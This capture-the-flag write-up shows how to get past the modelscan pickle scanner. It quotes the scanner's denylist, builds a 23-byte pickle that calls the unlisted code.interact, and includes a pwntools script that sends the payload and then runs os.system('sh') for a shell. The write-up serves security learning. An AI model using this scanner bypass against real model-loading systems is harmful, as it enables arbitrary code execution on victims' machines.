ctf-writeups

modelscanjail

why even try to blacklist python pickle ...

nc challs1.pyjail.club 16050

Attachment:

#!/usr/local/bin/python3
import modelscan.settings
import modelscan.modelscan
import pickle

scan = modelscan.modelscan.ModelScan(settings=modelscan.settings.DEFAULT_SETTINGS)

open('/tmp/malicious.pkl', 'wb').write(bytes.fromhex(input('> '))[:23])

result = scan.scan('/tmp/malicious.pkl')
if result['issues'] or result['errors']:
    print(result)
    print('no')
    exit()

pickle.loads(open('/tmp/malicious.pkl', 'rb').read())

We need to create a malicious pickle under 23 bytes and passing modelscan validation. The validation is done in picklescanner.py and many functions are banned from settings.py:

"__builtin__": [
    "eval",
    "compile",
    "getattr",
    "apply",
    "exec",
    "open",
    "breakpoint",
    "__import__",
],
"os": "*",
# ... many more

However, inspired by pull request #313, the list is incomplete. For example. code.interact is not banned. We can construct a pickle that calls it by:

  1. GLOBAL + b"code\ninteract\n": load global variable interact from code module onto the stack
  2. EMPTY_TUPLE: push () onto the stack, it will be the arguments to code.interact
  3. REDUCE: pop two elements from stack, the first is the argument tuple (empty tuple here), the second is the function itself (code.interact here), so it effectively calls code.interact()
  4. STOP: make pickletools.genops happy, otherwise modelscan will complain

Attack script:

from pwn import *
from pickle import *
import pickletools

context(log_level="debug")


def encode_str(s):
    b = s.encode()
    return bytes([len(b)]) + b


payload = GLOBAL + b"code\ninteract\n" + EMPTY_TUPLE + REDUCE + STOP  # call code.interact()
pickletools.dis(payload)
print(list(pickletools.genops(payload)))
assert len(payload) <= 23

# p = process(["python3", "main.py"])
p = remote("challs1.pyjail.club", 16050)
p.sendline(payload.hex().encode())
p.recvuntil(b">>>")
p.sendline(b"import os;os.system('sh')")
p.interactive()

Flag: jail{they_really_dont_care_bruh_fdf1d09caee6d95c}.